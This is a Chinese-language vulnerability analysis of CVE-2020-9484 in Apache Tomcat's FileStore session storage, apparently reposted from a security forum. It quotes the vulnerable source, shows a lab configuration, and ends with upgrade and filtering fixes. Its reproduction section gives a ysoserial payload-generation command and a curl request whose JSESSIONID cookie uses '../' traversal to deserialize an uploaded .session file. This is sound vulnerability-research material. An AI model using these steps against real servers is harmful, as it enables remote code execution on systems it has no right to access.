CVE-2020-9484 Apache Tomcat反序列化漏洞淺析


CVE-2020-9484 Apache Tomcat反序列化漏洞淺析

 

本文是i春秋論壇作家「Ybwh」表哥原創的一篇技術文章,淺析CVE-2020-9484 Apache Tomcat反序列化漏洞。

CVE-2020-9484 Apache Tomcat反序列化漏洞淺析

 

01漏洞概述

這次是因為錯誤配置和
org.apache.catalina.session.FileStore的LFI和反序列化漏洞引起的RCE。當配置了
org.apache.catalina.session.PersistentManager並且使用
org.apache.catalina.session.FileStore來儲存session時, 用戶可以通過
org.apache.catalina.session.FileStore的一個LFI漏洞來讀取服務器上任意以 .session結尾的文件,然后通過反序列化來運行.session文件。

默認情況是使用
org.apache.catalina.session.StandardManager, 將session儲存到內存,而PersistentManager會將不常用的session swap out,從而減少內存占用。

此處使用Tomcat 10.0.0-M4來做分析,這里主要是FileStore的LFI漏洞可以反序列化任意路徑上的.session 文件,如果同時存在文件上傳漏洞的話就是RCE了。

首先看FileStore源碼,當用戶請求里帶有JSESSIONID時,會運行存在問題的load方法:

    public Session load(String id) throws ClassNotFoundException, IOException {        // Open an input stream to the specified pathname, if any File file = file(id); if (file== null || !file.exists()) { return null; } Context context = getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isDebugEnabled()){ contextLog.debug(sm.getString(getStoreName()+".loading", id,file.getAbsolutePath())); } ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null); try (FileInputStreamfis = new FileInputStream(file.getAbsolutePath()); ObjectInputStream ois = getObjectInputStream(fis)) { StandardSession session = (StandardSession) manager.createEmptySession(); session.readObjectData(ois); session.setManager(manager); return session; } catch (FileNotFoundExceptione) { if (contextLog.isDebugEnabled()){ contextLog.debug("No persisted data file found"); } return null; } finally { context.unbind(Globals.IS_SECURITY_ENABLED,oldThreadContextCL); } }

load會先將session id轉換成file object查看文件是否存在,如果存在的話會讀取文件. file object會為輸入的id添加.session后綴,然而並沒有驗證文件的目錄:

    private File file(String id) throws IOException{ if (this.directory == null) { return null; } String filename= id + FILE_EXT; File file = new File(directory(), filename); return file; }


org.apache.catalina.session.getObjectInputStream,方法:

    protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException{ BufferedInputStream bis = new BufferedInputStream(is); CustomObjectInputStream ois; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (managerinstanceof ManagerBase) { ManagerBase managerBase = (ManagerBase) manager; ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(), managerBase.getSessionAttributeValueClassNamePattern(), managerBase.getWarnOnSessionAttributeFilterFailure()); } else { ois = new CustomObjectInputStream(bis, classLoader); } return ois; }

getObjectInputStream方法運行


org.apache.catalina.util.CustomObjectInputStream,獲取gadget類,然后就反序列化session文件了。

02影響版本

Apache Tomcat:10.0.0-M1 to 10.0.0-M4,9.0.0.M1 to 9.0.34,8.5.0 to 8.5.54 and 7.0.0 to7.0.103

03環境搭建

本次使用linux進行測試,設置一個Tomcat服務:

1、下載Tomcat 10.0.0-M4;

2、將文件解壓之后放入/usr/local/tomcat;

3、修改
/usr/local/tomcat/conf/context.xlm,添加Manager;

<Context> <!-- Default set of monitored resources. If one of these changes,the --> <!-- web application will be reloaded. --> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> <!-- Uncomment this to enable session persistence across Tomcatrestarts --> <!-- <Manager pathname="SESSIONS.ser" /> --> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/> </Manager></Context>

directory設置成什么都沒有關系,因為不過濾 ../

4、下載groovy-2.3.9.jar;

5、將groovy-2.3.9.jar 放入 /usr/local/tomcat/lib;

6、執行
/usr/local/tomcat/bin/catalina.shstart,運行Tomcat。

CVE-2020-9484 Apache Tomcat反序列化漏洞淺析

 

04漏洞復現

目標是在服務器上執行touch /tmp/2333,假設.session文件已經被上傳到服務器的已知位置。

1、下載ysoserial一個生成java反序列化payload的.jar 包;

2、執行java
-jarysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" >/tmp/test.session 生成payload;

CVE-2020-9484 Apache Tomcat反序列化漏洞淺析

 

3、執行

curl'http://127.0.0.1:8080/index.jsp'-H'Cookie:JSESSIONID=../../../../../tmp/test'

CVE-2020-9484 Apache Tomcat反序列化漏洞淺析

 

雖然有報錯但是反序列化已經執行了

4、執行ls /tmp查看結果:

CVE-2020-9484 Apache Tomcat反序列化漏洞淺析

 

05修復方式

對比Tomcat 10.0.0-M4和Tomcat 10.0.0-M5的FileStore,源碼可以發現做了目錄驗證。

CVE-2020-9484 Apache Tomcat反序列化漏洞淺析

 

修復方式就是升級,或者配置WAF,過濾掉../之類的字符串,或者不使用FileStore。

以上是今天要分享的內容,大家看懂了嗎?

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM